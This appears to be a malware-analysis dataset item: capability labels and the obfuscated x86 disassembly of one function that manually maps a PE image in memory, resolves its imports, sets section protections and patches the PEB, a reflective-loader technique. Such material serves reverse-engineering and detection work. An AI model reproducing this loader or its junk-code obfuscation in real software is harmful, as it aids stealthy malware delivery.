Function at 0x40b000
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get number of processors
Get process heap force flags
Inspect section memory permissions
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
add esi, 0xe1
rcl ebx, 0x13
not edi
rol ebx, 0x6a
and ebx, 0x88
bswap ebx
inc edi
sub edi, 0xc0
ror edi, 0xcc
dec esi
rcl edi, 0xca
ror edx, 0x98
and esi, 0x11
imul eax
imul esi
imul eax
bswap eax
rcr edx, 0x67
imul esi
sbb ebx, 0x81
not ebx
imul ebx
sbb edi, 0xd6
dec edx
inc esi
neg edx
sub edi, 0x29
mov edx, 0x28
mov eax, 0xac
add ebx, 0x78
bswap esi
bswap esi
inc edx
imul eax
dec edi
and eax, 0xa0
bswap edx
neg edi
rcr ebx, 0x58
add edx, 0x98
mov edi, 0x62
ror esi, 0xad
sub edx, 0x16
neg ebx
rcr esi, 0xcf
inc edx
rcl eax, 0xdd
rcl edx, 0x8b
imul ebx
sub eax, 0xd9
rcr ebx, 0x1b
inc eax
inc edi
rol esi, 0x31
sub esi, 0x90
and edx, 0x28
sbb edi, 0x8b
mov eax, 0x49
rol ebx, 0x90
bswap edx
rcl edx, 0x15
add edi, 0x69
not esi
rcl ebx, 0x7f
inc edi
mov edx, 0xf2
rol esi, 0xef
rol eax, 0x27
sub esi, 0x2c
bswap eax
inc eax
imul edx
imul edx
dec esi
add eax, 0x32
neg edi
not ebx
dec edx
rcr esi, 6
ror edi, 0xe0
and edx, 0x55
not edi
neg eax
mov ebx, 0xe5
not eax
mov ebx, 0xfb
add ebx, 0xdd
sbb esi, 0x3c
ror eax, 0xc5
dec ebx
rol edx, 0x60
mov ebx, 0xfe
neg edx
add ebx, 0xc5
not ebx
mov eax, 0x31
neg eax
or ebx, 0x40
add esi, 0x51
rcl edi, 0xef
sub edi, 0x69
neg edi
rcl esi, 0x1a
not eax
rol eax, 0x21
mov edx, 0x37
sbb edx, 0xeb
add edx, 0x5f
imul edi
sub eax, 0x4e
not edi
dec ebx
sbb eax, 0xb
sbb ebx, 0xe0
or ebx, 0x48
and esi, 0x6b
add eax, 0x1e
sbb edi, 0x64
dec esi
add edx, 0x77
inc esi
bswap ebx
or eax, 0x7b
or edi, 0x65
dec ebx
neg esi
bswap edi
add esi, 0x69
not eax
imul edi
neg eax
mov esi, 0xea
add edx, 0xb7
or eax, 0xf3
and esi, 0xce
or edi, 0x69
or eax, 0xa1
not esi
imul edi
neg edx
bswap esi
rcl eax, 0xae
or ebx, 0xf2
inc esi
ror edi, 0x80
not esi
add eax, 0x88
rcl eax, 0x15
bswap ebx
imul edx
or eax, 0x95
and edx, 0xef
ror eax, 0x95
and edx, 0xa0
not eax
and edx, 0x68
rcl esi, 0xf
inc edx
sub eax, 0x4b
imul eax
neg edx
inc esi
add edi, 0xb4
not edi
dec ebx
add edx, 0xa
add esi, 0xe2
not edi
sbb ebx, 0x78
neg esi
add ebx, 0xaa
sub edx, 0xd0
and esi, 0x83
not edx
not eax
and edx, 0xea
or esi, 0x7f
dec ebx
add edx, 0x30
rol edx, 0xe0
not esi
not edi
rcr esi, 0xe7
mov ebx, 0xa2
neg edx
rcl edx, 0x26
inc esi
sbb eax, 0xfa
dec ebx
sub edi, 0x94
or ebx, 0x9f
rcl ebx, 0xea
ror ebx, 0xce
not edi
inc eax
or eax, 0x74
sub eax, 0x39
not edi
neg esi
rcl esi, 0x8e
push 0x4e400
push 0x410008
call fcn.00401000
add esp, 8
mov dword [ebp + 8], 0x410008
dec eax
not edi
sbb edx, 0xc2
rcl edi, 0x51
add esi, 0xa3
neg eax
not ebx
ror edx, 0x49
add esi, 0xcb
sbb ebx, 0xc1
or ebx, 0x92
dec eax
sbb esi, 0x55
neg ebx
neg esi
dec ebx
inc edi
inc eax
rcl ebx, 0x14
bswap edi
imul ebx
dec esi
dec esi
ror edi, 0xee
imul edx
imul ebx
neg esi
and edx, 0x31
neg eax
sbb edi, 0x33
imul edx
rcl ebx, 0x63
ror edx, 0xb5
neg esi
neg edx
neg edi
and eax, 0x14
rcl esi, 0xe6
dec edi
bswap edx
inc edi
and eax, 0xdb
add edx, 0xc
dec edi
dec ebx
rcr eax, 0x64
bswap ebx
inc edi
not eax
imul ebx
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 0x90]
cmp dword [eax], 0x4550
je 0x40b32c
mov eax, 1
jmp 0x40c93c
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0xa0]
mov eax, dword [ecx + 0xa4]
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
je 0x40b35f
mov dword [ebp - 0x110], 0
jmp 0x40b36e
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0x34]
mov dword [ebp - 0x110], edx
push 4
push 0x3000
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0xb8], 0
jne 0x40b3b6
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
cmp ecx, dword [eax + 0x34]
je 0x40b3b6
mov eax, 2
jmp 0x40c93c
sub ebx, 0xb5
not esi
and eax, 0x6a
rol edx, 0x9f
not ebx
rcl ebx, 0x92
rol edx, 0xaf
rcr ebx, 0xce
and edx, 0xf4
mov ebx, 0x55
inc ebx
sub eax, 6
inc edi
imul esi
neg eax
sbb esi, 0xcb
neg esi
imul eax
and eax, 0x54
imul eax
inc edx
ror edx, 1
dec esi
rol esi, 0xdf
dec esi
sbb edx, 0x1e
dec ebx
bswap ebx
rcr edi, 0x3e
not edx
bswap edi
add edx, 0x5b
dec edx
inc ebx
sbb ebx, 0xf8
dec ebx
mov eax, 0x96
rol eax, 0xc9
mov esi, 0xff
bswap edi
add ebx, 0x9a
inc eax
not esi
sub edi, 0x87
ror esi, 0xe2
neg ebx
inc esi
dec edx
bswap eax
or edi, 0xfb
push 0x400
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call fcn.00401230
add esp, 0xc
imul esi
rcl edi, 0x1c
dec edi
add edx, 0x84
neg ebx
sbb esi, 0x9a
dec esi
sbb eax, 0x91
rcl edi, 0xf8
inc edi
inc ebx
sub eax, 0x69
bswap edi
ror ebx, 0xf7
imul edi
ror edx, 0xb0
or esi, 0x71
inc edx
rcr edi, 0xf7
not ebx
imul eax
add eax, 0xea
sub edi, 0xbc
rcr ebx, 0x7f
mov eax, 0xac
bswap edx
ror ebx, 0x67
mov esi, 0xc3
or ebx, 0x2e
not esi
bswap edi
and edi, 0xd
or esi, 0x95
dec esi
dec ebx
add edi, 0xdd
add ebx, 0xb6
dec edi
imul eax
sbb ebx, 0x4a
bswap eax
dec esi
neg eax
mov esi, 0x7f
imul eax
not ebx
add esi, 0xf
sbb ebx, 0x3a
not esi
not eax
and eax, 0x86
rol esi, 0x89
not eax
rol edi, 0xd7
imul edi
imul edx
dec ebx
bswap edi
inc edi
not edi
sub ebx, 0x72
or edi, 0xfa
rcr edx, 0x28
bswap esi
rol edx, 0xe0
sub edi, 0x28
inc esi
inc ebx
imul edi
rcl ebx, 0xbe
bswap edx
inc ebx
not edi
sub esi, 0x3f
inc edi
bswap edx
bswap edi
imul edx
dec eax
sub eax, 0xd2
and edi, 0x45
not esi
not ebx
neg edx
not edx
imul esi
inc esi
dec esi
dec ebx
mov eax, 0x2f
imul esi
inc esi
ror esi, 0x48
bswap esi
bswap ebx
rcl eax, 0xc2
not ebx
imul ebx
sub esi, 0xb8
imul edx
rcr edi, 0xe5
sub eax, 0x48
or edx, 0xc9
rol eax, 0xe0
sub edx, 0x1c
or esi, 5
sub edx, 0x7b
dec eax
or esi, 0xdc
or edi, 0x4d
rcl edx, 0xdd
rol esi, 0x11
not ebx
add eax, 0x6e
rcr eax, 0x84
sbb edi, 0x24
not edi
inc edi
rcr edi, 0x2f
ror eax, 0xd7
rol esi, 0x4d
or edi, 0x8f
sbb esi, 0x61
sub edx, 0x97
bswap ebx
rcl edx, 0x13
rol edi, 0x3f
not esi
mov esi, 0x1a
inc edi
inc eax
inc eax
bswap edx
inc esi
or edx, 0x88
rcr eax, 0x77
ror edx, 0x7f
not esi
not ebx
bswap ebx
dec eax
and edi, 0x54
bswap edx
bswap ebx
or eax, 0xfd
imul edx
or eax, 0x5e
bswap eax
rol eax, 0x91
imul edx
imul ebx
ror ebx, 0xab
rol edx, 0x14
not esi
ror ebx, 0x37
and edx, 0x99
or edx, 6
dec edx
rcr eax, 0x93
ror eax, 0xcf
inc esi
rcr ebx, 0xa5
imul eax
not ebx
add eax, 0xa8
inc edx
imul eax
neg edx
not esi
add edi, 0x35
sub edx, 0x8a
bswap eax
rol edi, 0xe2
bswap edx
sub edi, 0x44
sub edi, 0x2d
or eax, 0x23
mov eax, 0xbc
imul eax
mov eax, 0xb5
sbb eax, 0xc4
add eax, 0x45
neg edx
and edx, 0x47
rcr esi, 0x19
and edi, 0x5a
imul edx
dec eax
imul edx
rcr eax, 0xfc
bswap eax
dec edx
sbb edi, 0xa7
neg eax
or edi, 0x9f
bswap eax
or esi, 0x62
add edx, 0x4b
sub eax, 0x60
imul esi
imul edx
not ebx
sub edi, 0xd2
rol ebx, 0xfa
bswap esi
rcl eax, 0xf7
and edi, 0xcb
sbb eax, 0x44
inc eax
ror ebx, 0x70
rcl edi, 0xa0
inc edi
inc edx
and edx, 0xcf
sub edi, 0xa2
or edi, 0xa3
inc esi
mov edx, 0xb5
imul edx
neg ebx
not eax
ror esi, 0x92
mov esi, 0x44
dec ebx
dec edx
sbb edi, 0x91
dec edi
inc ebx
sbb eax, 0x3c
inc ebx
or esi, 0xc2
rcl ebx, 0x9e
ror edx, 0x59
ror ebx, 0x19
dec esi
add edi, 0xdb
sub ebx, 0xd1
rcr ebx, 0x6e
rcr ebx, 0x3b
not eax
sub edx, 0xb5
rcl edi, 0x85
dec edi
sbb edx, 0x11
bswap esi
imul ebx
rcl edx, 0x96
inc ebx
imul esi
mov edi, 0xa3
mov ecx, dword [ebp - 0x90]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x90]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xc8], 0
jmp 0x40b747
mov edx, dword [ebp - 0xc8]
add edx, 1
mov dword [ebp - 0xc8], edx
mov eax, dword [ebp - 0x90]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0xc8], ecx
jge 0x40b7a8
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 0x10]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx + 0x14]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401230
add esp, 0xc
jmp 0x40b738
rcl ebx, 0xde
ror eax, 0x58
rcl edx, 0x6a
rcl esi, 0x9c
neg eax
not edx
dec edi
not edi
and eax, 0xf3
bswap edi
bswap edx
imul ebx
imul esi
sbb ebx, 0xa1
inc edx
sub ebx, 0xca
ror esi, 0xc3
rcl esi, 0xbc
bswap eax
inc ebx
rol ebx, 0x29
rol eax, 0x7b
neg edi
rcr edx, 0xcd
not ebx
bswap eax
add esi, 0xd8
or edi, 0xb2
bswap ebx
or edx, 0xcd
sub ebx, 0xe8
sbb edx, 0xc3
sub edx, 0xfd
neg ebx
neg ebx
imul esi
sbb edi, 0xea
not ebx
not eax
mov eax, 0xb7
ror edx, 8
and esi, 0x3e
imul edi
neg eax
mov edx, 0x52
or esi, 0x62
and eax, 0x1f
ror eax, 0x35
ror edx, 0x8a
mov eax, 0xd
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
cmp eax, dword [edx + 0x34]
je 0x40b97d
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0xbc]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xd4], 0
mov ecx, dword [ebp - 0xd4]
cmp ecx, dword [ebp - 0xb8]
jae 0x40b97d
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ecx + 4]
sub edx, 8
shr edx, 1
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0xcc]
add eax, 8
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xe4], 0
jmp 0x40b8f2
mov ecx, dword [ebp - 0xe4]
add ecx, 1
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0xe4]
cmp edx, dword [ebp - 0xdc]
jge 0x40b957
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
sar ecx, 0xc
and ecx, 3
je 0x40b946
mov edx, dword [ebp - 0xe0]
movzx eax, word [edx]
and eax, 0xfff
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + eax]
add edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
and ecx, 0xfff
mov eax, dword [ebp - 0xd8]
mov dword [eax + ecx], edx
mov ecx, dword [ebp - 0xe0]
add ecx, 2
mov dword [ebp - 0xe0], ecx
jmp 0x40b8e3
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd4]
add eax, dword [edx + 4]
mov dword [ebp - 0xd4], eax
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0xcc], ecx
jmp 0x40b88e
dec edi
bswap eax
neg ebx
ror edi, 0x5f
imul edi
rol edx, 0xfa
rol ebx, 0x65
imul ebx
rcr edi, 0x38
not edi
neg eax
rol eax, 0xa2
and esi, 0x89
bswap edx
add ebx, 0xe0
mov edi, 0x7f
inc edx
dec edi
dec ebx
and edi, 0xf8
add esi, 0xa4
ror edx, 0xeb
bswap edx
rcr esi, 0x9c
dec ebx
dec edx
add esi, 0x88
rol ebx, 0xa1
not edi
dec edi
sbb ebx, 6
not edx
rcl esi, 0x4c
rcr edi, 0x39
ror esi, 0x92
dec esi
bswap edi
dec ebx
rol eax, 0x60
sbb edx, 0x89
dec ebx
rol ebx, 0x1c
and eax, 0xd9
sbb esi, 0x31
sub ebx, 0xb9
not eax
rol edx, 0x9f
bswap esi
sbb eax, 0x9d
and edx, 0xa
mov eax, 0xe6
imul edi
bswap ebx
sbb edi, 0xd8
inc edx
bswap esi
ror ebx, 0xad
bswap edx
rcl esi, 0xc3
or esi, 0x7a
rcl eax, 5
rcr edx, 0x4a
ror edx, 0x24
mov eax, 0x5b
rcl edx, 0x87
imul eax
imul edi
rcl edx, 0xd2
or edi, 0x32
or eax, 0x69
neg edi
inc esi
or eax, 0xb0
rcr edi, 0x7f
sub eax, 0x18
dec edi
sbb esi, 0xef
imul esi
rcr edx, 0x13
sbb esi, 0x90
not ebx
bswap edx
sub eax, 0xcf
rcr edi, 0x93
neg edi
dec esi
not ebx
or edx, 0x58
imul edi
mov edx, 0x52
not eax
or eax, 0xa5
not edx
rcl edi, 0xa5
rcl eax, 0xc
ror edx, 0x95
add edx, 0x21
or edi, 0xab
mov edx, 0xaf
dec edi
neg edi
add edx, 0x89
bswap ebx
inc edi
or edx, 0x11
imul eax
not esi
dec ebx
sub ebx, 0xca
dec edx
imul edi
sbb esi, 6
rcr edi, 0x21
mov eax, 0x11
imul edi
or ebx, 0x18
add edi, 0x68
inc eax
sbb edi, 0x8b
mov eax, 0x3e
inc edx
neg esi
mov esi, 0x31
rcr ebx, 0x77
dec edi
dec edi
rol edi, 0x55
inc edx
not ebx
neg eax
sbb edx, 0xbe
rcl ebx, 0xe6
rcl ebx, 0xc
imul esi
imul ebx
rcl ebx, 0x4f
add ebx, 0x46
bswap edx
ror esi, 0x4c
imul esi
rcr eax, 0x32
and esi, 1
rol eax, 0x1f
dec esi
neg eax
mov edi, 0x38
sbb ebx, 0xa7
ror edi, 0xcd
neg eax
rol eax, 0x53
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x80]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xe8], 0
jmp 0x40bb63
mov ecx, dword [ebp - 0xe8]
add ecx, 1
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
cmp dword [eax + edx + 0x10], 0
je 0x40bca1
mov ecx, dword [ebp - 0xe8]
imul ecx, ecx, 0x14
mov edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + ecx + 0xc]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jne 0x40bbba
jmp 0x40bb54
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xf8], 0
jmp 0x40bbf4
mov edx, dword [ebp - 0xf8]
add edx, 1
mov dword [ebp - 0xf8], edx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf0]
cmp dword [ecx + eax*4], 0
je 0x40bc9c
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x100], ecx
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
movzx ecx, word [eax + edx*4]
push ecx
mov edx, dword [ebp - 0xec]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jne 0x40bc6f
mov eax, dword [ebp - 0x100]
add eax, 2
push eax
mov ecx, dword [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xfc]
mov dword [ecx + edx*4], eax
jmp 0x40bbe5
jmp 0x40bb54
mov dword [ebp - 0x104], 0
jmp 0x40bcbc
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x90]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x104], eax
jge 0x40bdda
mov dword [ebp - 0x108], 0x40
mov ecx, dword [ebp - 0x104]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x9c]
mov eax, dword [edx + ecx + 0x24]
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x40bd2a
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x40bd2a
mov eax, dword [ebp - 0x10c]
and eax, 0x20000000
je 0x40bd2a
mov dword [ebp - 0x108], 0x40
jmp 0x40bd91
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x40bd52
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x40bd52
mov dword [ebp - 0x108], 4
jmp 0x40bd91
mov eax, dword [ebp - 0x10c]
and eax, 0x40000000
je 0x40bd79
mov ecx, dword [ebp - 0x10c]
and ecx, 0x20000000
je 0x40bd79
mov dword [ebp - 0x108], 0x20
jmp 0x40bd91
mov edx, dword [ebp - 0x10c]
and edx, 0x40000000
je 0x40bd91
mov dword [ebp - 0x108], 2
lea eax, [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 8]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401250
add esp, 0x10
jmp 0x40bcad
or eax, 6
and esi, 0x94
and esi, 0x34
rcr edx, 0x3a
rol edx, 0x48
neg ebx
imul edi
inc eax
ror ebx, 0xa6
imul ebx
not edx
rcl edi, 0xcb
not edi
inc esi
sub edx, 0xe7
imul eax
neg ebx
rol edi, 0x36
mov edx, 0x9a
bswap esi
ror edi, 0xfc
or edx, 0xa8
not eax
rol esi, 0x17
imul ebx
sub ebx, 0xa4
rol esi, 0x2f
ror edi, 0x2a
rol edi, 0x10
sub eax, 0x9c
sub eax, 0xd6
sbb eax, 0x18
sbb ebx, 0x52
inc esi
mov edx, 0xa8
and eax, 0xea
not edi
dec edx
ror edx, 0xd6
imul edx
sub edx, 0xcd
inc ebx
dec esi
rol edi, 0x71
dec edi
bswap eax
and edi, 0xc4
sub eax, 0x56
imul ebx
inc edx
imul ebx
or ebx, 0xad
and edx, 0x64
rol eax, 0xf8
add esi, 0xe6
sub esi, 0x97
neg esi
dec ebx
dec edx
imul edi
sub ebx, 0xa
dec eax
sbb eax, 0xe9
rcr ebx, 0x53
inc edx
dec edx
dec edx
imul edx
not edx
dec eax
ror edx, 0xe3
or edi, 0x45
neg eax
rol eax, 0x7f
rcr edx, 0x3c
rcl eax, 6
rol esi, 0xaf
or eax, 0xff
dec edi
imul eax
dec edx
neg edi
dec ebx
rcl edx, 0x93
add edi, 0xfc
dec esi
imul eax
neg edx
ror ebx, 0x13
rol eax, 9
neg edx
imul ebx
ror edx, 0x93
neg eax
not esi
rol edi, 0xaa
imul edx
or esi, 0x76
dec esi
sbb edx, 0x4e
sub edi, 0xf4
rcr edx, 0x56
rol esi, 0xe5
neg edi
dec eax
rcl edx, 0xf2
not esi
neg esi
mov eax, 0x48
add esi, 0x67
sbb edi, 0x4c
mov esi, 0xbc
bswap esi
add edx, 0x47
inc eax
inc edi
or ebx, 0xad
add edx, 0x2a
rcr edx, 0xb1
mov edx, 0x1a
neg esi
rcl edx, 0x79
or edx, 0x5f
dec ebx
neg edi
not ebx
or ebx, 0x1f
inc eax
inc edx
bswap esi
inc esi
sub eax, 0x58
imul edi
not esi
rcr esi, 0x2b
and ebx, 0x7e
rcr eax, 0x81
bswap edx
neg esi
rcr edx, 0x89
mov eax, 0x91
and ebx, 0x47
rcr eax, 0xec
or esi, 0xf0
inc esi
ror eax, 0xd0
rcl edx, 0x3b
ror edx, 0xef
neg eax
dec eax
mov edx, dword fs:[0x30]
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
sub eax, 8
mov dword [ebp - 0x98], eax
not eax
or edi, 0xb8
inc ebx
bswap esi
imul eax
inc edi
imul eax
inc esi
bswap eax
not eax
inc edx
rol ebx, 0x99
imul esi
rcl edx, 0xa8
not edx
sub edi, 0x87
inc edx
and eax, 0x2d
sub edx, 0x46
or ebx, 0xa2
rcr eax, 0x2b
or esi, 0xcc
imul edx
or ebx, 0x6b
imul ebx
neg edx
mov ebx, 0x55
add ebx, 5
dec esi
not edx
neg edi
or edx, 0x32
rcl ebx, 0xd2
inc edi
rcr edi, 0xce
mov ebx, 0x28
and esi, 0x48
sub ebx, 0xcd
dec edi
not eax
and eax, 0xde
add eax, 0
inc eax
sub edx, 0xe2
inc edx
sbb esi, 0x45
imul esi
neg edx
mov ebx, 0xf1
not eax
or ebx, 0x81
rcr eax, 2
rcl eax, 0x13
imul edi
imul ebx
inc edx
and esi, 0x33
imul esi
not ebx
or ebx, 0xdf
or esi, 0xf2
imul ebx
inc esi
not esi
bswap eax
bswap esi
not ebx
and edi, 0x4e
add esi, 8
imul edx
mov eax, 0x7e
ror ebx, 0xd9
add ebx, 0xc8
dec esi
bswap edi
inc esi
rcr ebx, 0x8f
rcr edi, 0x76
and ebx, 0x1a
not esi
not edi
imul ebx
inc ebx
mov edx, 0x12
ror eax, 0x9d
imul eax
inc eax
rcr esi, 0xe
rcl ebx, 0x60
rol edx, 0xa5
not esi
not eax
rcl eax, 0xf9
rol esi, 0xa2
sbb esi, 0xc7
dec esi
inc ebx
mov ebx, 0xb8
neg eax
dec eax
imul ebx
bswap ebx
imul ebx
neg edx
mov ebx, 0x44
sub eax, 0xb3
inc ebx
neg esi
rol edi, 0xb0
inc edx
rcl esi, 0x41
add ebx, 1
neg ebx
imul eax
inc eax
dec eax
not eax
and eax, 0xb3
imul edx
sbb ebx, 0x21
imul esi
and esi, 8
bswap edi
bswap edi
inc esi
neg eax
imul edi
dec esi
bswap esi
or edi, 0x35
imul edi
imul edx
dec edi
sbb ebx, 0x42
mov edx, 0x31
rcr esi, 0x4d
rol ebx, 0x3a
add esi, 0x9b
ror edi, 0xb4
inc ebx
sbb edx, 0x2a
rcl ebx, 0x83
dec edi
inc eax
or edx, 0x8e
inc ebx
bswap eax
inc edx
rol esi, 0x1f
not edx
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x8c]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x8c]
mov dword [eax + 0x18], ecx
mov edx, dword [ebp - 0x98]
add edx, 0x24
mov dword [ebp - 0xa4], edx
bswap ebx
imul edi
dec edx
sbb edx, 0x92
sbb edx, 0x61
imul ebx
imul ebx
inc edx
rcl esi, 0x75
sub edx, 0x34
mov edi, 0x17
imul edx
sub esi, 0xbb
not edx
imul edi
neg edx
add esi, 0x5b
dec ebx
or edx, 0x65
rol edi, 0x6f
not edx
rcr ebx, 0xe1
bswap esi
neg ebx
add eax, 0x75
inc edi
not edx
rcr edi, 0x47
ror eax, 0x62
neg ebx
dec esi
rol ebx, 0xb8
sub edi, 0x30
imul ebx
and edx, 0x81
rcl edi, 0xd9
inc eax
imul edx
sbb eax, 0x23
rcr edx, 0xd8
or esi, 0x8f
sub edi, 0xab
sbb eax, 0xf5
imul esi
rol edx, 0x6c
ror ebx, 0xf3
rcl edi, 0x36
rcr edx, 0x48
imul ebx
inc esi
rcr edx, 0x6e
rcl edx, 0x90
dec edx
and edi, 0xec
add esi, 0x70
rcr ebx, 0xe4
not edx
inc edx
imul ebx
neg ebx
not ebx
and eax, 0xee
rol edi, 0xf0
rcl edi, 0xb8
sbb esi, 0xde
dec eax
rcl edi, 0xa3
rcr edi, 0xc9
sbb esi, 0xf5
or esi, 0x1d
imul esi
imul edx
not eax
mov edi, 0x65
rcl esi, 0xf9
not esi
add esi, 0x4c
sbb edx, 0x98
sub ebx, 0xe4
and edi, 0xe1
rcl edi, 0xba
bswap edi
inc esi
or eax, 0xdd
rcl ebx, 0x83
neg edx
bswap esi
mov ebx, 0x9f
add esi, 0xc8
bswap edi
sbb edx, 0x72
inc edx
add esi, 0x64
or ebx, 0xa
inc edi
imul ebx
or ebx, 0xe
rcl edx, 0x48
neg edi
not eax
imul edi
neg eax
or esi, 0x8f
and ebx, 0x7b
inc edi
neg edi
sub eax, 0x67
rol esi, 0xa8
and ebx, 0xc3
neg esi
rol edx, 0x22
inc ebx
imul ebx
sub ebx, 0x1c
not edx
neg esi
sbb eax, 0xa4
imul esi
ror edx, 0xaa
dec esi
neg edx
neg esi
mov edi, 0x7c
rcl edx, 0x8f
not eax
rol edx, 0x44
inc eax
neg eax
or ebx, 0xb7
rcl esi, 0x98
or edi, 0x8e
sbb esi, 0xd3
and edi, 0x4e
bswap edi
rcl edx, 0x8f
not esi
imul edx
mov edx, 0x6f
mov edi, 0xba
sbb edx, 0x58
ror edx, 0xad
bswap ebx
ror edi, 0xc3
dec eax
imul ebx
or ebx, 0xd3
dec ebx
rcr eax, 0x1f
bswap edi
rcr ebx, 0x59
mov eax, 0x43
mov word [ebp - 0x88], ax
mov ecx, 0x3a
mov word [ebp - 0x86], cx
mov edx, 0x5c
mov word [ebp - 0x84], dx
mov eax, 0x5c
mov word [ebp - 0x82], ax
mov ecx, 0x57
mov word [ebp - 0x80], cx
mov edx, 0x69
mov word [ebp - 0x7e], dx
mov eax, 0x6e
mov word [ebp - 0x7c], ax
mov ecx, 0x64
mov word [ebp - 0x7a], cx
mov edx, 0x6f
mov word [ebp - 0x78], dx
mov eax, 0x77
mov word [ebp - 0x76], ax
mov ecx, 0x73
mov word [ebp - 0x74], cx
mov edx, 0x5c
mov word [ebp - 0x72], dx
mov eax, 0x4d
mov word [ebp - 0x70], ax
mov ecx, 0x69
mov word [ebp - 0x6e], cx
mov edx, 0x63
mov word [ebp - 0x6c], dx
mov eax, 0x72
mov word [ebp - 0x6a], ax
mov ecx, 0x6f
mov word [ebp - 0x68], cx
mov edx, 0x73
mov word [ebp - 0x66], dx
mov eax, 0x6f
mov word [ebp - 0x64], ax
mov ecx, 0x66
mov word [ebp - 0x62], cx
mov edx, 0x74
mov word [ebp - 0x60], dx
mov eax, 0x2e
mov word [ebp - 0x5e], ax
